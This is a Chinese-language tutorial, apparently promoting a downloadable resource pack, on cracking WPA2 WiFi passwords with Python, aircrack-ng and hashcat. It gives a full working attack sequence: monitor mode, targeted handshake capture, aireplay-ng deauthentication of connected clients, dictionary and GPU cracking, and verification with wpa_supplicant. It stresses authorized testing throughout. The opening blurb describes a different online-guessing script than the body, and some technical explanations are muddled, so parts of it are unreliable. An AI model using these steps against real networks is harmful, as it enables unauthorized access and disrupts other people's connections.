简介:这是一份面向Python初学者与网络安全入门者的实验型资源,聚焦wifi密码暴力破解的实现原理。程序以预设的八位数密码字典为基础,通过循环读取txt文件中的候选密码,逐一向可搜索到的无线网络发起连接尝试,适合在自家网络或已授权环境下进行技术演练,速度约每秒一次连接,可用于理解简单口令爆破的完整流程。压缩包共3个文件、约3KB,包含2个Python脚本和1个纯文本密码字典。py脚本分别承担密码字典的读取与连接尝试逻辑,txt文件则存放待测试的八位数密码组合,结构精简,便于初学者直接阅读和修改。该资源发布后已有16474人学习,兼具热度与实操参考价值。通过学习,读者可以掌握Python文件读写、循环控制、异常处理及无线接口交互的基本写法,并借此熟悉字典攻击的思考方式与局限性。作为入门级实验代码,它演示了自动化网络连接尝试的简易实现,也提示了强密码与访问控制的重要性。
1. Python暴力破解WiFi密码:从动手到懂原理的实验路径
Python暴力破解WiFi密码,听起来像黑客电影里的镜头,但在网络安全入门实验里,它是一条把无线协议、抓包工具和Python文件操作全部串起来的路径。很多python初学朋友第一时间以为要拿着网卡到处蹭网,实际不是。我们要拿到的不是「随便一个路由器」,而是「你授权测试的路由器」。资源包里的脚本和文档,正是帮你扫盲的一整套实战Demo。
这套资源解决的核心问题,是让你搞明白四个环节:怎么监听空中的WiFi信号、怎么把握手包完整抓下来、怎么用字典一个个验算、最后怎么确认密码有效。它不是暗网教程,是安全测试技能树里很基础的一环。适合读过Python基础语法、但还没接触过无线安全的从业者和学生。全程跑完一遍,你会对信息收集、离线计算、结果验证这些概念有一个非常具体的体感。
我建议你把自己的手机热点或家里闲置路由器当靶场,密码设成已知的弱口令,比如 12345678,先跑通流程,再谈真实环境。
2. 从WPA2握手到Python脚本:破解前的三个底层认知
2.1 四次握手与PMK:为什么“暴力”其实是“字典”
WPA2-PSK 整个认证的核心是预共享密钥(PSK),就是你输入的路由器密码。它不会在网上明文传输,而是通过四个握手包(EAPOL帧)完成密钥确认。简单理解:路由器发一个随机数给客户端,客户端把随机数、SSID、MAC地址和自己知道的PSK一起做一系列运算,回传一个校验字段;路由器做同样计算并比对,两边一致就放行。
攻击者可以在这一轮通信中把四个包全部记录下来,之后离线复现。原因是握手包中携带了计算所需的公开信息:SSID、双方MAC、随机数。唯一未知的是PSK。于是破解任务就变成:对字典中的每个候选密码,重新算一遍从PSK到校验字段的哈希链路,看是否命中。这个过程可完全脱离路由器运行,也不会触发告警,所以比在线猜密码现实得多。
WPA2-PSK 采用的 KDF 是 PBKDF2,具体参数是 HMAC-SHA1、迭代4096次、输出256位。这四个参数在不同设备间几乎一致,因此算法复杂度固定。如果要用纯Python演示,可以这样生成PMK:
import hashlib def generate_pmk(password, ssid): # WPA2 的 PMK 生成参数:PBKDF2-HMAC-SHA1,迭代4096次,输出32字节 pmk = hashlib.pbkdf2_hmac( 'sha1', password.encode('utf-8'), ssid.encode('utf-8'), 4096, dklen=32 ) return pmk if __name__ == "__main__": ssid_name = "test_router" psk = "goodpassword123" pmk = generate_pmk(psk, ssid_name) print(pmk.hex())这段代码就是整条破解链路的起点。hashlib.pbkdf2_hmac四个参数从左到右分别代表:哈希算法、密码原文、盐值(这里用SSID)、迭代次数、输出长度。注意WPA2把SSID作为盐值,相同密码在不同路由器上算出的PMK完全不同,所以字典攻击没法提前预计算所有密码的PMK,必须拿到目标SSID后现场算。这也说明为什么密码中带上随机前缀会让破解成本成倍增加,因为盐值不固定。
这里有一个常见认知误区:所谓的“暴力破解”,不是把8位纯数字从00000000试到99999999。WPA2的密钥空间太大,一个长度为8的随机密码,穷举量足够让GPU集群跑很多年。现实中的成功案例,基本都是命中字典里的弱口令或“弱口令变形”。所以脚本设计最花心思的部分其实是字典,而不是循环本身。
2.2 工具链选型:无线网卡、aircrack-ng 与 Python 的配合
要跑通上面的算法,还需要一个能拿到握手包的设备。普通笔记本内置网卡常由驱动限制,不开放监听模式。监听模式(monitor mode)让网卡不连接任何WiFi,只被动接收周围所有的无线帧。这是抓包的前提。
我一般这样选硬件:优先考虑USB外接网卡,芯片尽量选Atheros或Realtek的8812au这类驱动支持好的型号;兼容性列表在无线安全工具社区里能查到。不要只看宣传页写的“大功率”,驱动兼容才是第一位。
| 网卡方案 | 芯片 | 监听模式 | 推荐场景 |
|---|---|---|---|
| 内置网卡 | Intel/RTL | 部分支持 | 日常连接,别指望抓包 |
| USB外接1 | Atheros AR9271 | 稳定 | 入门测试首选 |
| USB外接2 | Realtek 8812au | 需要装驱动 | 追求5GHz频段时选 |
Python脚本在整个流程里的定位不是重造轮子,而是把外部命令串联起来。通过subprocess调airmon-ng、airodump-ng、aircrack-ng这些现成命令行工具,能少写几百行协议代码,也更稳定。
import subprocess cmd = ["which", "aircrack-ng"] result = subprocess.run(cmd, capture_output=True, text=True) if result.returncode == 0: path = result.stdout.strip() print("aircrack-ng:", path) else: print("aircrack-ng 未安装,请先安装必要依赖")这是最简单的环境自检脚本。subprocess.run里我习惯把capture_output设为True,这样外部工具的提示信息能进stdout,不会直接打在终端。脚本启动第一步就做这样的检查,能省掉后续大量找不到命令的排错时间。
有人会问:为什么不用Python的scapy直接伪造数据包、自己计算PTK?答案是没必要。抓包、编解码、注入这些底层能力,aircrack-ng 做了十几年,远比个人从零写的稳定。Python更适合做“调度层”和“结果层”:调度外部命令、监听输出、解析结果、管理字典。资源包里的脚本也是这么分的,真正的算法交给专业工具,Python只做胶水。这个选型思路不只适用于无线,你做其他安全工具集成时也一样适用。
3. 抓包与破解实操:从监听模式到跑出密码的完整流程
3.1 启动监听模式:驱动加载与模式切换
先把USB网卡插上,断开任何正在连接的WiFi,避免网卡驱动自动切换回受管模式。在终端执行:
iwconfig确认新网卡的接口名,一般叫wlan0或wlx...。然后停用系统网络管理服务,再启动监听模式:
sudo systemctl stop NetworkManager sudo airmon-ng start wlan0执行完用iwconfig再看一次,网卡模式会变成Monitor,接口名可能变成wlan0mon。这一步翻车的点在于,没有停掉NetworkManager,它会把网卡拉回托管状态,导致监听模式秒退。
参数说明:airmon-ng start wlan0中的wlan0要改成你自己网卡的接口名;start表示创建监听接口,成功后原接口可能被禁用。如果网卡驱动加载有问题,会提示类似“SIOCSIFFLAGS: Operation not permitted”,这时先检查是否装好了对应驱动,不要急着换命令。
另外,VirtualBox虚拟机里的无线网卡基本玩不了监听,建议直接用物理机或装着USB网卡的树莓派。我一开始图方便在虚拟机里折腾,白白耗了两天,后来换到物理机才正常。这不是玄学,是虚拟机的无线帧透传能力天然残缺。
3.2 抓取握手包:airodump监听与认证干扰
监听模式启动后,我们需要一边扫描目标网络,一边等客户端重新连接。先用airodump-ng扫描周围热点:
sudo airodump-ng wlan0mon屏幕上会不断刷新可见的BSSID、信道、客户端数量。当目标网络的功率信息稳定后,按Ctrl+C停止扫描,再针对目标在固定信道抓包:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon参数说明:-c 6指定信道6;--bssid指定目标路由器MAC,这里用假MAC演示;-w handshake是把抓到的包写入当前目录的handshake文件。这样只接收该路由器上的流量,文件不会夹杂其他网络的数据。
现在问题来了:如果客户端没有重新连接,就一直没有新的四次握手。最简单的办法是向连着的客户端发送解除认证帧,让它掉线再自动重连。常见的做法是用aireplay-ng:
sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c 00:11:22:33:44:55 wlan0mon参数说明:-0 3是连续发送3个解除认证帧;-a后面是路由器BSSID;-c后面是客户端MAC。发送期间,airodump窗口里如果出现包含“EAPOL”或“handshake”的提示,说明已经抓到了。注意,这个操作会对正常网络造成干扰,只能在授权测试环境中做,否则就是破坏。
等到提示抓到手,Ctrl+C结束。这时目录下会生成一个.cap文件,也就是之后跑字典的输入。你可能会看到多个cap文件,比如handshake-01.cap、handshake-02.cap,这是因为airodump每收到一次握手就换一个文件。挑最新的一个用就行。
3.3 Python自动化:用subprocess串联抓包和跑包
很多初学者会把上一步理解为纯手工操作,但实际做安全测试时,我会写一个Python脚本,让它完成固定动作:扫描、锁定、抓包、跑字典。资源包里的核心脚本就是这么设计的。下面这段是简化的跑包环节:
import subprocess cap_file = "handshake-01.cap" password_dict = "wordlist.txt" cmd = [ "aircrack-ng", cap_file, "-w", password_dict, "-b", "AA:BB:CC:DD:EE:FF" ] result = subprocess.run(cmd, capture_output=True, text=True) output = result.stdout if "KEY FOUND!" in output: for line in output.splitlines(): if "KEY FOUND!" in line: pwd = line.split("[")[1].split("]")[0] print("找到密码:", pwd) else: print("字典中未命中,需要更换字典")逻辑说明:aircrack-ng读取handshake-01.cap握手包,配合字典文件逐条验算,-b指定目标BSSID防止同频干扰。脚本通过subprocess.run拿到完整输出,再用字符串匹配定位“KEY FOUND!”那一行的密码。
容易出错的地方是aircrack-ng的输出在部分系统会把密码写在两行中间,直接解析一行可能失败。我通常建议先打印输出看一眼格式,再调整字符串切分逻辑。这比盲改正则靠谱。另外,capture_output=True时外部程序可能往stderr写日志,排查时也要打印result.stderr,不要只看stdout。
这一章的实操流程,我把它做成一个命令序列:启动监听、扫描、抓包、解除认证、跑字典。中间任何一步被中断,都需要回退到上一步。对初学者来说,最好一次只开一个终端,分别看着网卡状态和抓包状态,不要把所有输出混在一起。资源包里还有个辅助脚本,会把这几步压缩成一行命令,自动记录时间戳和信道,跑完生成日志文件,方便后面复盘。
4. 避坑:四个最容易让实验中断的问题与排查记录
4.1 网卡启动监听模式失败
现象:执行airmon-ng start wlan0后,iwconfig显示模式还是Managed,或者提示Operation not permitted。
原因:硬件驱动不完整或系统服务在干扰。多数内置网卡默认没有监听驱动,USB网卡则可能装错支持版本。
解决:先用lsusb确认芯片型号,再去对应驱动仓库查支持状态,不要相信店家说的“即插即用”。如果是Realtek芯片,经常需要先卸载内核自带模块再装载对应驱动,这一步每家卡不一样,资源包里有一份排错清单,跟着步骤走就行。同时务必执行systemctl stop NetworkManager,或者用airmon-ng check kill自动停掉冲突进程。
如果两条都做了还不行,果断换一张至少被二十份文档验证过的网卡。为了一张几十块的网卡和一个驱动血战三天,时间成本实在不划算。
4.2 一直抓不到握手包
现象:airodump 开在目标信道上,列表里能看到客户端,但长时间没有显示WPA handshake。
原因:不是所有流量都包含握手包。四次握手只在客户端重新连接时出现,如果一个客户端稳定在线又从不重连,就永远没有新的EAPOL帧。
解决:用aireplay-ng -0把客户端踢下线,让它重连。重连瞬间抓包机要正好在监听。注意,有些客户端踢一次就会重连,有些要等一段时间。另一个常见问题是选错了信道:airodump 全频扫描后停在了不是目标所在信道的位置。解决办法是先用全频扫描,记录目标BSSID和CH,再固定信道去抓。
还有一个细节:摄像头、智能音箱这类固件简单的IoT设备,收到解除认证帧后不会像手机那样立刻重连,可能隔很久。这时候最好找一台手机去主动连目标WiFi,让握手包必然出现。折腾了四十分钟没抓到包的话,十有八九是客户端选得不对。
4.3 Python脚本提示找不到命令
现象:手动在终端执行aircrack-ng没问题,但Python脚本运行时却报FileNotFoundError/command not found。
原因:外部工具在/usr/sbin下,Python的子进程没有继承环境变量的完整PATH。
解决:调用时给subprocess.run加一个env参数,把/usr/sbin和/usr/local/bin合并进去,或者直接写完整路径。我一般用:
import os env = os.environ.copy() env["PATH"] += os.pathsep + "/usr/sbin:/usr/local/bin" result = subprocess.run(["aircrack-ng", ...], capture_output=True, text=True, env=env)这段代码的作用是把PATH扩展到/usr/sbin,让aircrack-ng能被找到。os.pathsep是路径分隔符,Linux下是冒号。如果你用安装包方式装了新版本工具,路径到了/opt,记得也把对应目录加进去。我的习惯是在脚本最开始写一个环境检测函数,把所有外部工具的绝对路径都拿一遍,哪个缺失就直接退出,不用等到半路才炸。
4.4 字典文件太大,脚本内存直接炸
现象:用readlines()加载一个大字典,跑了十分钟还没开始,内存占用飙升到几个G,机器卡到鼠标都动不了。
原因:部分初学者习惯一次性把文件读到列表里,而安全测试常用字典解压后超过十G,比如基础弱口令动态生成的组合字典,文件本身就数以G计。
解决:改成逐行读取,处理完一行就丢弃。还可以在进入Python前先量一下字典大小,超过内存容量的就分块或用外部工具直接处理。下面的写法只保留当前行:
def test_wordlist(path): with open(path, "r", encoding="latin-1") as f: for line in f: candidate = line.strip() # 这里做具体的PMK或hash校验参数说明:encoding="latin-1"很关键,因为很多字典文件写入的时候不是严格的UTF-8,用UTF-8读会直接报UnicodeDecodeError。逐行读的效率完全够,关键是不要用readlines一次性铺开。
4.5 跑包速度慢到怀疑人生
现象:字典只有一万条,但aircrack-ng跑了几分钟才跑完,感觉还不如手动试。
原因:PBKDF2 迭代4096次是CPU密集计算,纯Python循环计算PMK会比C程序慢很多。如果你在脚本里自己实现了PMK计算,这会非常明显。
解决:尽量让aircrack-ng或hashcat这类C/OpenCL程序去跑计算,Python只负责调度和解析。如果非要在Python里做局部验证,用hashlib.pbkdf2_hmac而不是自己写哈希循环。小块字典可以先在Python里过滤掉明显不可能的口令,比如长度不对、包含非ASCII字符的,再交给外部工具,通常能筛掉一半词条。
5. 从“跑通”到“可信”:验证密码、GPU加速和实验底线
5.1 验证结果:别让“假密码”骗过你
跑出“KEY FOUND”之后,不代表实验完全结束。尤其是在真实测试中,字典命中可能是误报,特别是信道抓包不干净,多个AP混在一个文件里。我建议验证密码的正确性做两件事:第一,重新用airodump-ng只抓这个BSSID的包,确认 handshake 文件干净;第二,用一个真实的连接尝试来验证密码。在Linux下可以用wpa_supplicant,先写一个配置文件:
network={ ssid="test_router" psk="找到的密码" }然后执行:
sudo wpa_supplicant -D nl80211 -i wlan1 -c /tmp/wpa_test.conf如果连接日志显示关联成功,密码就是真的。注意wlan1这里是陪你验证的网卡接口,要用支持正常连接的那张卡,而不是正在监听的wlan0mon。有时候同一张卡需要先把监听模式切回Managed,否则会出现“设备忙”的错误。
5.2 从CPU到GPU:用hashcat把速度提上去
Python脚本调aircrack-ng跑的是CPU多核,做4096次迭代的PBKDF2比较吃力。一个只有几千条的小字典可能不明显,到了真实规模的字典,CPU速度就成了瓶颈。大多数进阶者会在这时转入hashcat。先把握手包转换成hashcat需要的格式:
hcxpcapngtool handshake-01.cap -o hash.hc22000然后用GPU跑同一个字典:
hashcat -m 22000 hash.hc22000 wordlist.txt参数说明:-m 22000是WPA-PBKDF2-PMKID+EAPOL模式的哈希模式;hash.hc22000是转换后的哈希文件;wordlist.txt是字典。hashcat会用显卡并行计算,速度可能比CPU的aircrack快几十倍。
在Python脚本里,也可以做这样的分支:检测到hashcat存在就把过程替换成hashcat,否则回退到aircrack。我一般在脚本开头做一次能力探测,优先走GPU。
5.3 实验底线:授权、白盒和善后
我从接触这套东西开始,就被某导师反复强调一句话:没有书面授权的破解等于破坏。这不是道德说教,是真实安全测试工作的第一道门槛。我自己的习惯是:用一个“可丢弃”的手机热点当靶场,密码设为弱口令;测试前把授权范围写在一张本地备注里,标明哪个SSID、哪段时间被允许测试;跑完恢复所有网卡至普通模式,清理临时文件。从那次因为忘记恢复网卡导致实验室网络排查了半天之后,我每次实验结束都会强制走一遍airmon-ng stop wlan0mon和systemctl start NetworkManager。这套资源最值得学的地方不在于把哪个密码跑出来,而在于你踩过这些坑之后,能形成自己的测试规范。希望帮到你。
本文还有配套的精品资源,点击获取